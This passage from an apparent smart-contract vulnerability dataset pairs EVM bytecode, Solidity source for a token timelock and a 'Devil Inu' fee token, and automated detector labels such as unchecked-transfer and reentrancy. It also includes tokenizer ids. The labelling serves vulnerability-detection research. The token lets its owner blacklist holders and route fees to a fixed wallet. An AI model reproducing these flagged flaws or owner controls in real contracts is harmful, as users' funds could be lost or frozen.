906101000a900460ff16158015611b7657506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1515611b8157600080fd5b6001600c60146101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff1631600981905550611bc261290c565b611bca612a05565b3073ffffffffffffffffffffffffffffffffffffffff1631600981905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165a3073ffffffffffffffffffffffffffffffffffffffff16318360405180828051906020019080838360005b83811015611c68578082015181840152602081019050611c4d565b50505050905090810190601f168015611c955780820380516001836020036101000a031916815260200191505b50915050600060405180830381858888f193505050501515611cb657600080fd5b50565b600560019054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b565b600560009054906101000a900460ff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611d6557611d6461251f565b5b505050565b600a5481565b61029e81565b600781815481101515611d8557fe5b90600052602060002090600202016000915090508060000154908060010154905082565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e0457600080fd5b8060048190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e6957600080fd5b80600c60176101000a81548160ff02191690831515021790555050565b600881815481101515611e9557fe5b906000526020600020016000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f0457600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614151515611f2a57600080fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080600c60149054906101000a900460ff161515611fb557600080fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561207257600080fd5b505af1158015612086573d6000803e3d6000fd5b505050506040513d602081101561209c57600080fd5b81019080805190602001909291905050509350600084141515156120bf57600080fd5b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209250600560009054906101000a900460ff1660ff168360030160009054906101000a900460ff1660ff1610156123165760078360030160009054906101000a900460ff1660ff1681548110151561215157fe5b906000526020600020906002020191506121928260010154612184846000015486600001546128d190919063ffffffff16565b610e7190919063ffffffff16565b90506121ab818360000154610eaa90919063ffffffff16565b82600001819055506121ce83600001548360010154610eaa90919063ffffffff16565b826001018190555082600301600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff16021790555050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156122cf57600080fd5b505af11580156122e3573d6000803e3d6000fd5b505050506040513d60208110156122f957600080fd5b8101908080519060200190929190505050151561231557600080fd5b5b5050505050565b600080600c60149054906101000a900460ff161580156123495750600c60179054906101000a900460ff165b801561235757506000600a54145b151561236257600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002091508160010154600860008154811015156123b857fe5b90600052602060002001600082825403925050819055508160020154600860018154811015156123e457fe5b906000526020600020016000828254039250508190555061242c826002015461241e84600101548560000154610e8c90919063ffffffff16565b610e8c90919063ffffffff16565b90506000826000018190555060008260010181905550600082600201819055508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612492573d6000803e3d6000fd5b50505050565b600080829050600061029e1415156124e0576124dd6124ce600261029e8115156124be57fe5b0485610e7190919063ffffffff16565b82610e8c90919063ffffffff16565b90505b60006001541415156125165761251361250460015485610e7190919063ffffffff16565b82610e8c90919063ffffffff16565b90505b80915050919050565b600080600090505b6007805490508160ff16101561257c5761256d60078260ff1681548110151561254c57fe5b90600052602060002090600202016000015483610e8c90919063ffffffff16565b91508080600101915050612527565b6007604080519081016040528061269385600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561264a57600080fd5b505af115801561265e573d6000803e3d6000fd5b505050506040513d602081101561267457600080fd5b8101908080519060200190929190505050610eaa90919063ffffffff16565b81526020016009548152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050506005600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff160217905550505050565b6000806000600c60149054906101000a900460ff1680156127435750600c60179054906101000a900460ff165b801561276157506000600560009054906101000a900460ff1660ff16145b801561276f57506000600a54115b151561277a57600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020925060008360030160009054906101000a900460ff1660ff161415156127de57600080fd5b61280a60646127fc600a5486600001546128d190919063ffffffff16565b610e7190919063ffffffff16565b9150612823828460000154610eaa90919063ffffffff16565b8360000181905550600c60159054906101000a900460ff16156128845761286c606461285e600a5486600101546128d190919063ffffffff16565b610e7190919063ffffffff16565b90506128818183610e8c90919063ffffffff16565b91505b8373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156128ca573d6000803e3d6000fd5b5050505050565b60008060008414156128e65760009150612905565b82840290508284828115156128f757fe5b0414151561290157fe5b8091505b5092915050565b600061029e141515612a0357738c006d807ebae91f341a4308132fd756808e012673ffffffffffffffffffffffffffffffffffffffff166108fc6008600181548110151561295657fe5b90600052602060002001549081150290604051600060405180830381858888f1935050505015801561298c573d6000803e3d6000fd5b507363f7547ac277ea0b52a0b060be6af8c5904953aa73ffffffffffffffffffffffffffffffffffffffff166108fc600860018154811015156129cb57fe5b90600052602060002001549081150290604051600060405180830381858888f19350505050158015612a01573d6000803e3d6000fd5b505b565b6000600154141515612a94576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60086000815481101515612a5c57fe5b90600052602060002001549081150290604051600060405180830381858888f19350505050158015612a92573d6000803e3d6000fd5b505b5600a165627a7a72305820d5e270a9074e2dd0d38ef530109f1fc9e0cb15789ea60646ee90a5e15c12d9ff0029
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 22932, 2683, 23352, 21472, 2487, 9468, 16576, 2509, 2063, 2620, 2546, 2487, 27717, 16048, 2549, 2050, 2692, 2683, 16932, 14141, 2629, 2278, 22407, 3676, 2278, 2692, 2509, 1013, 1013, 3166, 1024, 1040, 2213, 1004, 1059, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,745
0x9744c83db287f788328285496c157f866cd7b536
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29462400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x3D6572034307ffdABc32A8326D2c0E300133DdAE ; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820bc936da7f3cc62b3ec9b71f9bbf223688c04c5d52df4124afc0de8c149055e670029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 22932, 2278, 2620, 29097, 2497, 22407, 2581, 2546, 2581, 2620, 2620, 16703, 2620, 22407, 27009, 2683, 2575, 2278, 16068, 2581, 2546, 20842, 2575, 19797, 2581, 2497, 22275, 2575, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,746
0x974530dc43500d325b8e96c79ec0fcecbe0108ca
/* Devil Inu - $DEVIL 👹🐶 $DEVIL 👹🐶 Devil Inu 👹🐶 Twitter: Twitter.com/DevilInuETH 👹🐶 Telegram: T.me/DevilInuETH */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DEVIL is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Devil Inu"; string private constant _symbol = "DEVIL"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xD62365cFb80A0B3B05B6B0549CB75ed8e21C3A53); _feeAddrWallet2 = payable(0xD62365cFb80A0B3B05B6B0549CB75ed8e21C3A53); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063dd62ed3e146103bb578063ff872602146103f857610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b9190612544565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061260e565b61044c565b6040516101789190612669565b60405180910390f35b34801561018d57600080fd5b5061019661046a565b6040516101a39190612693565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906126ae565b61047b565b6040516101e09190612669565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612701565b610554565b005b34801561021e57600080fd5b50610227610644565b604051610234919061274a565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612791565b61064d565b005b34801561027257600080fd5b5061027b6106ff565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612701565b610771565b6040516102b19190612693565b60405180910390f35b3480156102c657600080fd5b506102cf6107c2565b005b3480156102dd57600080fd5b506102e6610915565b6040516102f391906127cd565b60405180910390f35b34801561030857600080fd5b5061031161093e565b60405161031e9190612544565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061260e565b61097b565b60405161035b9190612669565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612930565b610999565b005b34801561039957600080fd5b506103a2610ac3565b005b3480156103b057600080fd5b506103b